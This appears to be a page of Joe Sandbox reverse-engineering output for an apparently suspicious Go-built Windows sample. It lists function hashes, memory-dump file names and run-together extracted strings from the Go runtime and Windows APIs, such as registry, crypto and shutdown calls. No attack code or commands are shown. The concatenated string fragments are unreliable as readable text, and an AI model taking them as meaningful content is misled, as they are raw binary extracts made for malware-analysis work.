Opcode ID: 7c57b2a9b3df4ccd4fa9918d42968bb7fd13ec3a73e836d395c29c6721b34182
Instruction ID: 0a66ad13fe757db21dfb03ddb39fef0b1724e7db3cf8c8417736b9f5099090c3
Opcode Fuzzy Hash: 7c57b2a9b3df4ccd4fa9918d42968bb7fd13ec3a73e836d395c29c6721b34182
Instruction Fuzzy Hash: C411DBB4600B118FD398DF59C4D4A65B3E1FB8C200B4A85BDDB0A8B766C670A815DB85

Function 00870AC0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ddc443701642bc0b1bc95e278046fa74e58975fc087a0c271b84e0b920e879
Instruction ID: 1981535b0dcbab7dfe984a8e98149493bbd4a3d437be49955ea9aee600892db9
Opcode Fuzzy Hash: d8ddc443701642bc0b1bc95e278046fa74e58975fc087a0c271b84e0b920e879
Instruction Fuzzy Hash: 47C04CB080A3A6DDE750CB288540366FED1EB84354F95C499A14CC2258C274C5806A15

Function 00813590 Relevance: 18.8, Strings: 15, Instructions: 86COMMON

Download Yara Rule

Strings

te k, xrefs: 00813609
2-by, xrefs: 008135F4
2-by, xrefs: 008135ED
nd 3, xrefs: 008135CA
2-by, xrefs: 008135DF
nd 3, xrefs: 008135C3
te k, xrefs: 008135FB
expa, xrefs: 00813617
te k, xrefs: 00813610
nd 3, xrefs: 008135D8
te k, xrefs: 00813602
expa, xrefs: 008136C2
nd 3, xrefs: 008135D1
2-by, xrefs: 008135E6
expa, xrefs: 008135B5

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: 2-by$2-by$2-by$2-by$expa$expa$expa$nd 3$nd 3$nd 3$nd 3$te k$te k$te k$te k
API String ID: 0-4277483314
Opcode ID: d14e1ab978c0c4d00f34bf5936590145bee99296543f08d8082e8e3fa07b27e5
Instruction ID: e92581aded0cdfc52279287171d48be7f8ff5f974df63f2e952bf8fac7822a41
Opcode Fuzzy Hash: d14e1ab978c0c4d00f34bf5936590145bee99296543f08d8082e8e3fa07b27e5
Instruction Fuzzy Hash: 035124B49056408FD358CF0AD198BA5BBE1BF88304F2A86FAC4588F776E7768446CF51

Function 00816B70 Relevance: 12.7, Strings: 10, Instructions: 199COMMON

Download Yara Rule

Strings

, not object goid base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendcon, xrefs: 00816C6F
(types from different scopes)assignment to entry in nil map in prepareForSweep; sweepgen /cpu/classes/total:cpu-seconds/gc/cycles/automatic:gc-cycles/sched/pauses/total/gc:seconds/sync/mutex/wait/total:seconds/godebug/non-default-behavior/panic called with ni, xrefs: 00816DA4
: missing method RtlGetCurrentPeb, xrefs: 00816E2B
is nil, not bad flushGen != sweepgen work.nproc= work.nwait= 3814697265625invalid base RegDeleteKeyWRegEnumValueWSHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSStrailing dataemail addressempty integerunsupported: gocacheverifyinstallgoroothtml/templatetlsmaxrsasize, xrefs: 00816EB7
is LEAFbaseGOGCtrue+Inf-Inf3125Atoiboolint8uintchanfunccallkind on != INFOWARNasn1tag:.com.exe.bat.cmdpathermssse3avx2bmi1bmi2timeicmpigmpERRORchdir<nil>writemkdircloseLstatMarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalntohshtonlhtons, xrefs: 00816C55
is not BAD RANK status runtime.reflect. etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlsk, xrefs: 00816E09
interface244140625ParseUint method: (MISSING)%!(EXTRA Inheritedunderflowcomplex64invalid nreflect: funcargs(bad indirInterfaceprintableomitempty#execwaitpclmulqdqmath/randtlsrsakexole32.dllfiles,dnsdns,filesipv6-icmp%s %q: %sempty urlClassINETAuthorityuser32.d, xrefs: 00816BA0
(types from different packages)NtAssociateWaitCompletionPacket, xrefs: 00816D6C
, xrefs: 00816D76
interface conversion: /gc/scan/globals:bytes/gc/heap/frees:objectsruntime: work.nwait = reflectlite.Value.Type4656612873077392578125%SystemRoot%\system32\unexpected method step x509: malformed issuerzero length BIT ST, xrefs: 00816C33, 00816DEF, 00816E95

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: $ (types from different packages)NtAssociateWaitCompletionPacket$ (types from different scopes)assignment to entry in nil map in prepareForSweep; sweepgen /cpu/classes/total:cpu-seconds/gc/cycles/automatic:gc-cycles/sched/pauses/total/gc:seconds/sync/mutex/wait/total:seconds/godebug/non-default-behavior/panic called with ni$ is LEAFbaseGOGCtrue+Inf-Inf3125Atoiboolint8uintchanfunccallkind on != INFOWARNasn1tag:.com.exe.bat.cmdpathermssse3avx2bmi1bmi2timeicmpigmpERRORchdir<nil>writemkdircloseLstatMarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalntohshtonlhtons$ is nil, not bad flushGen != sweepgen work.nproc= work.nwait= 3814697265625invalid base RegDeleteKeyWRegEnumValueWSHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSStrailing dataemail addressempty integerunsupported: gocacheverifyinstallgoroothtml/templatetlsmaxrsasize$ is not BAD RANK status runtime.reflect. etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlsk$, not object goid base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendcon$: missing method RtlGetCurrentPeb$interface conversion: /gc/scan/globals:bytes/gc/heap/frees:objectsruntime: work.nwait = reflectlite.Value.Type4656612873077392578125%SystemRoot%\system32\unexpected method step x509: malformed issuerzero length BIT ST$interface244140625ParseUint method: (MISSING)%!(EXTRA Inheritedunderflowcomplex64invalid nreflect: funcargs(bad indirInterfaceprintableomitempty#execwaitpclmulqdqmath/randtlsrsakexole32.dllfiles,dnsdns,filesipv6-icmp%s %q: %sempty urlClassINETAuthorityuser32.d
API String ID: 0-2919658155
Opcode ID: 4656f6fae2144c14ebb22b4233f44a0197f0d9725aba6866635e4f825d165ad4
Instruction ID: 93de732c930918ab5806aed0dc0e2fd340a08f6534a007d56937f28dcae33e4c
Opcode Fuzzy Hash: 4656f6fae2144c14ebb22b4233f44a0197f0d9725aba6866635e4f825d165ad4
Instruction Fuzzy Hash: 14A178B46083419FC318DF29D490A6ABBE1FF88744F50892EF8D987351EB75A949CF42

Function 00811120 Relevance: 11.6, Strings: 9, Instructions: 326COMMON

Download Yara Rule

Strings

GODEBUG: can not enable "GetSecurityDescriptorDaclGetSecurityDescriptorSaclGetSidIdentifierAuthorityInitiateSystemShutdownExWIsValidSecurityDescriptorSetSecurityDescriptorDaclSetSecurityDescriptorSaclFindNextVolumeMountPointWFindVolumeMountPointCloseQueryInfor, xrefs: 008113A5
GODEBUG: no value specified for "unaligned 64-bit atomic operationleafCounts[maxBits][maxBits] != nCryptAcquireCertificatePrivateKeySetupDiGetDeviceRegistryPropertyWSetupDiSetDeviceRegistryPropertyWscalar has high bit set illegally : invalid buffer ov, xrefs: 00811303
GODEBUG: unknown cpu feature "reflect: Len of non-array typeGetSecurityDescriptorRMControlQueryServiceDynamicInformationSetSecurityDescriptorRMControlCertDeleteCertificateFromStoreGetProcessPreferredUILanguagesGetSystemTimePreciseAsFileTimeSetupDiCreateDeviceI, xrefs: 008114E4
", missing CPU supportexit hook invoked panicpattern bits too long: GetSidSubAuthorityCountQueryServiceLockStatusWRegNotifyChangeKeyValueSetKernelObjectSecurityDeleteVolumeMountPointWGetActiveProcessorCountGetLogicalDriveStringsWSetInformationJobObjectSetName, xrefs: 008113CF
cpu., xrefs: 00811191
GODEBUG: value "[bisect-match 0xSetEntriesInAclWSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWCreateNamedPipeWDefineDosDeviceWFindFirstVolumeWGetLogicalDrivesGetNamedPipeInfoGetPriorityClassSetDllDirectoryWSetPriorityClassVirt, xrefs: 0081127A
" not supported for cpu option "GetVolumePathNamesForVolumeNameWed25519: bad public key length: input overflows the modulus sizeunexpected character, want colonrelease of handle with refcount 0 : output not full blockbytes.Reader.Seek: invalid whencet, xrefs: 008112A4
!, xrefs: 0081130C
"os0b0x0X0o//SunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CETBSTMSK-06+14StdDlt???RAXRCXRDXRBXRSPRBPRSIRDI, xrefs: 008112CE, 0081132D, 0081150E

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: !$"os0b0x0X0o//SunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CETBSTMSK-06+14StdDlt???RAXRCXRDXRBXRSPRBPRSIRDI$" not supported for cpu option "GetVolumePathNamesForVolumeNameWed25519: bad public key length: input overflows the modulus sizeunexpected character, want colonrelease of handle with refcount 0 : output not full blockbytes.Reader.Seek: invalid whencet$", missing CPU supportexit hook invoked panicpattern bits too long: GetSidSubAuthorityCountQueryServiceLockStatusWRegNotifyChangeKeyValueSetKernelObjectSecurityDeleteVolumeMountPointWGetActiveProcessorCountGetLogicalDriveStringsWSetInformationJobObjectSetName$GODEBUG: can not enable "GetSecurityDescriptorDaclGetSecurityDescriptorSaclGetSidIdentifierAuthorityInitiateSystemShutdownExWIsValidSecurityDescriptorSetSecurityDescriptorDaclSetSecurityDescriptorSaclFindNextVolumeMountPointWFindVolumeMountPointCloseQueryInfor$GODEBUG: no value specified for "unaligned 64-bit atomic operationleafCounts[maxBits][maxBits] != nCryptAcquireCertificatePrivateKeySetupDiGetDeviceRegistryPropertyWSetupDiSetDeviceRegistryPropertyWscalar has high bit set illegally : invalid buffer ov$GODEBUG: unknown cpu feature "reflect: Len of non-array typeGetSecurityDescriptorRMControlQueryServiceDynamicInformationSetSecurityDescriptorRMControlCertDeleteCertificateFromStoreGetProcessPreferredUILanguagesGetSystemTimePreciseAsFileTimeSetupDiCreateDeviceI$GODEBUG: value "[bisect-match 0xSetEntriesInAclWSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWCreateNamedPipeWDefineDosDeviceWFindFirstVolumeWGetLogicalDrivesGetNamedPipeInfoGetPriorityClassSetDllDirectoryWSetPriorityClassVirt$cpu.
API String ID: 0-2940482549
Opcode ID: a2c16577167074c4b7aec39b0b7fd4ff53e2943d8eac8a0326a2f9a9dfe4f870
Instruction ID: 71340f42974052f4184b3b1212ef87c59c203f8d61e2f3f895fef9e9dc76dff6
Opcode Fuzzy Hash: a2c16577167074c4b7aec39b0b7fd4ff53e2943d8eac8a0326a2f9a9dfe4f870
Instruction Fuzzy Hash: 45D17D706083159FCB54EF28C4855AAB7E6FFD8304F14892DEA85DB352E730E985CB82

Function 008115D0 Relevance: 9.2, Strings: 7, Instructions: 432COMMON

Download Yara Rule

Strings

sse41sse42ssse3P-256P-384P-521P-224filesparse (at valuefloat -%sreadatSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondhangupkilledlistensocketacceptselectsendtoVarAddVarAndVarDivVarEqvVarImpVarModVarMulVarPowVarSubVarXorVarAbsVarFixVar, xrefs: 00811801
ermssse3avx2bmi1bmi2timeicmpigmpERRORchdir<nil>writemkdircloseLstatMarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalntohshtonlhtonsntohlVarOrFixupiLTCGREPROFieldParamEventSize=DebugThumbcertsdefersweeptestRtestWexecWhchanexecRschedsudogtim, xrefs: 00811631
adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgallprootitabsbrk is LEAFbaseGOGCtrue+Inf-Inf3125Atoiboolint8uintc, xrefs: 00811600
avx512fos/execruntimetls3desFreeSidSleepExUsage:FullPathThursdaySaturdayFebruaryNovemberDecember%!Month(no anodeCancelIoReadFileAcceptExWSAIoctlshutdownrecvfromWSAHtonlWSAHtonsWSANtohlWSANtohsVarRoundVarCyAddVarCyMulVarCySubVarCyAbsVarCyFixVarCyIntVarCyNegVar, xrefs: 00811AB6
rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal VarIdivUnknownBorlandNon FPOTypeRefTypeDefImplMap, Size=\\.\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitforeverne, xrefs: 00811663
avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetEventaddress ClassANYQuestiondurationntdll.dllfork/execWednesdaySeptember-07:00:00Z07:00:00d.nx != 0interruptbus errorFindCloseLocalFreeMoveFileWWriteFileWSASendToinet_addrinet_ntoaWSAAcceptVar, xrefs: 00811AD8
pclmulqdqmath/randtlsrsakexole32.dllfiles,dnsdns,filesipv6-icmp%s %q: %sempty urlClassINETAuthorityuser32.dllC:\Windowswinsymlink/dev/stdinCreateFile (time.Local%!Weekday(terminatedowner diedDnsQuery_WGetIfEntryCancelIoExCreatePipeGetVersionWSACleanupW, xrefs: 0081164A

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgallprootitabsbrk is LEAFbaseGOGCtrue+Inf-Inf3125Atoiboolint8uintc$avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetEventaddress ClassANYQuestiondurationntdll.dllfork/execWednesdaySeptember-07:00:00Z07:00:00d.nx != 0interruptbus errorFindCloseLocalFreeMoveFileWWriteFileWSASendToinet_addrinet_ntoaWSAAcceptVar$avx512fos/execruntimetls3desFreeSidSleepExUsage:FullPathThursdaySaturdayFebruaryNovemberDecember%!Month(no anodeCancelIoReadFileAcceptExWSAIoctlshutdownrecvfromWSAHtonlWSAHtonsWSANtohlWSANtohsVarRoundVarCyAddVarCyMulVarCySubVarCyAbsVarCyFixVarCyIntVarCyNegVar$ermssse3avx2bmi1bmi2timeicmpigmpERRORchdir<nil>writemkdircloseLstatMarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalntohshtonlhtonsntohlVarOrFixupiLTCGREPROFieldParamEventSize=DebugThumbcertsdefersweeptestRtestWexecWhchanexecRschedsudogtim$pclmulqdqmath/randtlsrsakexole32.dllfiles,dnsdns,filesipv6-icmp%s %q: %sempty urlClassINETAuthorityuser32.dllC:\Windowswinsymlink/dev/stdinCreateFile (time.Local%!Weekday(terminatedowner diedDnsQuery_WGetIfEntryCancelIoExCreatePipeGetVersionWSACleanupW$rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal VarIdivUnknownBorlandNon FPOTypeRefTypeDefImplMap, Size=\\.\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitforeverne$sse41sse42ssse3P-256P-384P-521P-224filesparse (at valuefloat -%sreadatSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondhangupkilledlistensocketacceptselectsendtoVarAddVarAndVarDivVarEqvVarImpVarModVarMulVarPowVarSubVarXorVarAbsVarFixVar
API String ID: 0-2179521201
Opcode ID: 0446eda1b0e5f7caee65974f9ec8752b468d5bc1ae2c4e6672b5ea549e513e4a
Instruction ID: f6fd23973a53580372922db346d3749033cc6fd0343f57ad2260909a3705f77f
Opcode Fuzzy Hash: 0446eda1b0e5f7caee65974f9ec8752b468d5bc1ae2c4e6672b5ea549e513e4a
Instruction Fuzzy Hash: 762215B4509342CFD718CF59E480AAABBE1FF88304F14856DD8498B366EB74D985DF82

Function 0086EE70 Relevance: 8.9, Strings: 7, Instructions: 170COMMON

Download Yara Rule

Strings

not in ranges:23841857910156250123456789ABCDEF: value of type KEYVALS UNPAIREDlength too largeexec: no commandGODEBUG: value "[bisect-match 0xSetEntriesInAclWSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWCreateNamedPipeWDefi, xrefs: 0086F07B
etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetEventaddress ClassANYQues, xrefs: 0086F0F0
runtime: typeOff runtime: textOff 1192092895507812559604644775390625invalid bit size RegLoadMUIStringW0123456789ABCDEFX0123456789abcdefxunknown type kindreflect: call of reflect: New(nil)CreateFileMappinginvalid BMPStringinvalid IA5Stringinteg, xrefs: 0086EF30, 0086F028
out of range unreachable: invalid syntax1907348632812595367431640625RegSetValueExWunsafe.Pointer on zero Valuereflect.Value.unknown method/log/filter.go/log/helper.godata truncatedinternal errormime/multipartControlServiceCreateServiceWIsWellKnownSidMakeAbso, xrefs: 0086EF59
base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal VarIdiv, xrefs: 0086F051
- NaN125625MD4MD5...intmapmsg***UseE (RSADSAURISETNUL:\/adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgallproot, xrefs: 0086EF83
types : type 19531259765625SHA-224SHA-256SHA-384SHA-512float32float64invaliduintptrChanDir Value>Ed25519MD5-RSAserial:2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9PATHEXTavx512fos/execruntimetls3desFreeSidSleepExUsage:FullPathThursdaySaturdayFebruaryNovemberDec, xrefs: 0086F0C6

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
